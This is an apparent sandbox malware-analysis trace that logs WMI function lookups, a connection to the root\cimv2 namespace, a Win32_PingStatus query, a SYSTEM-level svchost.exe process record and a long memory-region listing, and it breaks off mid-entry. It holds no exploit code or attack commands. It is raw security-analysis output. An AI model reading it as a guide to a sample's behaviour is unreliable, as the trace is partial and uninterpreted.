[0121.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x5e4eba4, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 20 [0121.999] GetProcAddress (hModule=0x6a810000, lpProcName="GetDemultiplexedStub") returned 0x6a8175f0 [0122.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x5e4eba4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmim·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 21 [0122.117] GetProcAddress (hModule=0x6a810000, lpProcName="CreateInstanceEnumWmi") returned 0x6a817230 [0122.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x5e4eba8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmi·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 18 [0122.247] GetProcAddress (hModule=0x6a810000, lpProcName="CreateClassEnumWmi") returned 0x6a817160 [0122.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x5e4ebac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 12 [0122.248] GetProcAddress (hModule=0x6a810000, lpProcName="ExecQueryWmi") returned 0x6a8174e0 [0122.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x5e4eba0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 24 [0122.286] GetProcAddress (hModule=0x6a810000, lpProcName="ExecNotificationQueryWmi") returned 0x6a817400 [0122.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x5e4ebac, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmi·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 14 [0122.288] GetProcAddress (hModule=0x6a810000, lpProcName="PutInstanceWmi") returned 0x6a817b10 [0122.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x5e4ebac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0122.409] GetProcAddress (hModule=0x6a810000, lpProcName="PutClassWmi") returned 0x6a817a30 [0122.410] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x5e4eba0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 24 [0122.410] GetProcAddress (hModule=0x6a810000, lpProcName="CloneEnumWbemClassObject") returned 0x6a816f50 [0122.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x5e4eba8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 16 [0122.514] GetProcAddress (hModule=0x6a810000, lpProcName="ConnectServerWmi") returned 0x6a817050 [0122.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x5e4ebac, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo»m·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 12 [0122.581] GetProcAddress (hModule=0x6a810000, lpProcName="GetErrorInfo") returned 0x6a817650 [0122.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x5e4ebb0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initialize·q¨Ûï\x9cDþ+q\x88îä\x05", lpUsedDefaultChar=0x0) returned 10 [0122.588] GetProcAddress (hModule=0x6a810000, lpProcName="Initialize") returned 0x6a817920 [0122.597] CoCreateInstance (in: rclsid=0x6a813734*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a813794*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5e4f2d8 | out: ppv=0x5e4f2d8*=0x5c4f1a8) returned 0x0 [0122.597] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5c4f1a8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5e4f378 | out: ppNamespace=0x5e4f378*=0x38f918) returned 0x0 [0125.267] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4f1fc | out: ppvObject=0x5e4f1fc*=0x3b3994) returned 0x0 [0125.267] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x3b3994, pProxy=0x38f918, pAuthnSvc=0x5e4f24c, pAuthzSvc=0x5e4f248, pServerPrincName=0x5e4f240, pAuthnLevel=0x5e4f244, pImpLevel=0x5e4f234, pAuthInfo=0x5e4f238, pCapabilites=0x5e4f23c | out: pAuthnSvc=0x5e4f24c*=0xa, pAuthzSvc=0x5e4f248*=0x0, pServerPrincName=0x5e4f240, pAuthnLevel=0x5e4f244*=0x6, pImpLevel=0x5e4f234*=0x2, pAuthInfo=0x5e4f238, pCapabilites=0x5e4f23c*=0x1) returned 0x0 [0125.267] WbemLocator:IUnknown:Release (This=0x3b3994) returned 0x1 [0125.267] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4f1f0 | out: ppvObject=0x5e4f1f0*=0x3b39b4) returned 0x0 [0125.268] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4f1dc | out: ppvObject=0x5e4f1dc*=0x3b3994) returned 0x0 [0125.268] WbemLocator:IClientSecurity:SetBlanket (This=0x3b3994, pProxy=0x38f918, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.268] WbemLocator:IUnknown:Release (This=0x3b3994) returned 0x2 [0125.268] WbemLocator:IUnknown:Release (This=0x3b39b4) returned 0x1 [0125.268] CoTaskMemFree (pv=0x3e5f18) [0125.268] WbemLocator:IUnknown:AddRef (This=0x38f918) returned 0x2 [0125.268] WbemLocator:IUnknown:Release (This=0x5c4f1a8) returned 0x0 [0125.269] CoGetContextToken (in: pToken=0x5e4e730 | out: pToken=0x5e4e730) returned 0x0 [0125.269] CoGetContextToken (in: pToken=0x5e4eb44 | out: pToken=0x5e4eb44) returned 0x0 [0125.269] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e4eadc | out: ppvObject=0x5e4eadc*=0x3b399c) returned 0x0 [0125.269] WbemLocator:IRpcOptions:Query (in: This=0x3b399c, pPrx=0x5c4da88, dwProperty=2, pdwValue=0x5e4ebd0 | out: pdwValue=0x5e4ebd0) returned 0x80004002 [0125.269] WbemLocator:IUnknown:Release (This=0x3b399c) returned 0x2 [0125.269] CoGetContextToken (in: pToken=0x5e4f114 | out: pToken=0x5e4f114) returned 0x0 [0125.269] CoGetContextToken (in: pToken=0x5e4f074 | out: pToken=0x5e4f074) returned 0x0 [0125.269] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x5e4f144*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5e4f010 | out: ppvObject=0x5e4f010*=0x38f918) returned 0x0 [0125.270] WbemLocator:IUnknown:Release (This=0x38f918) returned 0x2 [0125.270] SysStringLen (param_1=0x0) returned 0x0 [0125.270] CoUninitialize () Thread: id = 147 os_tid = 0xd40 [0125.313] CoGetContextToken (in: pToken=0x5a2f150 | out: pToken=0x5a2f150) returned 0x0 [0125.313] CoGetContextToken (in: pToken=0x5a2f13c | out: pToken=0x5a2f13c) returned 0x0 [0125.314] CoGetMarshalSizeMax (in: pulSize=0x5a2f0f8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5c4da88, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x5a2f0f8) returned 0x0 [0125.315] CoMarshalInterface (pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5c4da88, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0125.317] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x3dcc58*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5a2f030 | out: ppvObject=0x5a2f030*=0x38f918) returned 0x0 [0125.318] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x6a7562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5a2efcc | out: ppvObject=0x5a2efcc*=0x38f918) returned 0x0 [0125.318] WbemLocator:IUnknown:QueryInterface (in: This=0x38f918, riid=0x6a7562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5a2ef84 | out: ppvObject=0x5a2ef84*=0x38f918) returned 0x0 [0127.005] IWbemServices:GetObject (in: This=0x38f918, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x5a2f150*=0x0, ppCallResult=0x0 | out: ppObject=0x5a2f150*=0x5c63220, ppCallResult=0x0) returned 0x0 Thread: id = 163 os_tid = 0x924 Thread: id = 169 os_tid = 0x94c Thread: id = 171 os_tid = 0x954 Thread: id = 174 os_tid = 0x960 Thread: id = 178 os_tid = 0xa80 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2b9d7000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b19c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2251 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2252 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 2253 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2254 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2255 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2256 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2257 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2258 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2259 start_va = 0x90000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2260 start_va = 0x110000 end_va = 0x176fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2261 start_va = 0x180000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2262 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2263 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2264 start_va = 0x260000 end_va = 0x26afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 2265 start_va = 0x270000 end_va = 0x27cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 2266 start_va = 0x280000 end_va = 0x283fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 2267 start_va = 0x290000 end_va = 0x299fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 2268 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2269 start_va = 0x3a0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2270 start_va = 0x4a0000 end_va = 0x627fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 2271 start_va = 0x630000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2272 start_va = 0x7c0000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 2273 start_va = 0x840000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 2274 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 2275 start_va = 0x8d0000 end_va = 0x8d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 2276 start_va = 0x8e0000 end_va = 0x8e3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2277 start_va = 0x8f0000 end_va = 0x8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 2278 start_va = 0x900000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 2279 start_va = 0x930000 end_va = 0x930fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 2280 start_va = 0x940000 end_va = 0x940fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 2281 start_va = 0x950000 end_va = 0x950fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 2282 start_va = 0x960000 end_va = 0x960fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 2283 start_va = 0x970000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 2284 start_va = 0x980000 end_va = 0x999fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 2285 start_va = 0x9a0000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 2286 start_va = 0x9b0000 end_va = 0x9b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2287 start_va = 0x9c0000 end_va = 0x9cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 2288 start_va = 0x9d0000 end_va = 0x9d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 2289 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 2290 start_va = 0x9f0000 end_va = 0x9f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 2291 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 2292 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 2293 start_va = 0xa20000 end_va = 0xa2ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2294 start_va = 0xa30000 end_va = 0xa37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 2295 start_va = 0xa40000 end_va = 0xa4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 2296 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2297 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 2298 start_va = 0xa70000 end_va = 0xa8bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 2299 start_va = 0xa90000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 2300 start_va = 0xb10000 end_va = 0xb75fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 2301 start_va = 0xb80000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b80000" filename = "" Region: id = 2302 start_va = 0xc00000 end_va = 0xecefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2303 start_va = 0xed0000 end_va = 0xed0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ed0000" filename = "" Region: id = 2304 start_va = 0xee0000 end_va = 0xee0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ee0000" filename = "" Region: id = 2305 start_va = 0xef0000 end_va = 0xef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 2306 start_va = 0xf00000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 2307 start_va = 0xf10000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 2308 start_va = 0xf20000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 2309 start_va = 0xfa0000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fa0000" filename = "" Region: id = 2310 start_va = 0xfb0000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 2311 start_va = 0x1030000 end_va = 0x1030fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 2312 start_va = 0x1040000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 2313 start_va = 0x1050000 end_va = 0x1051fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2314 start_va = 0x1060000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 2315 start_va = 0x10e0000 end_va = 0x10effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010e0000" filename = "" Region: id = 2316 start_va = 0x10f0000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010f0000" filename = "" Region: id = 2317 start_va = 0x1100000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001100000" filename = "" Region: id = 2318 start_va = 0x1110000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001110000" filename = "" Region: id = 2319 start_va = 0x1120000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001120000" filename = "" Region: id = 2320 start_va = 0x1130000 end_va = 0x113ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001130000" filename = "" Region: id = 2321 start_va = 0x1140000 end_va = 0x1140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 2322 start_va = 0x1150000 end_va = 0x11cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 2323 start_va = 0x11d0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011d0000" filename = "" Region: id = 2324 start_va = 0x11e0000 end_va = 0x11effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011e0000" filename = "" Region: id = 2325 start_va = 0x11f0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011f0000" filename = "" Region: id = 2326 start_va = 0x1200000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001200000" filename = "" Region: id = 2327 start_va = 0x1210000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001210000" filename = "" Region: id = 2328 start_va = 0x1220000 end_va = 0x122ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001220000" filename = "" Region: id = 2329 start_va = 0x1230000 end_va = 0x123ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 2330 start_va = 0x1240000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 2331 start_va = 0x1250000 end_va = 0x1257fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 2332 start_va = 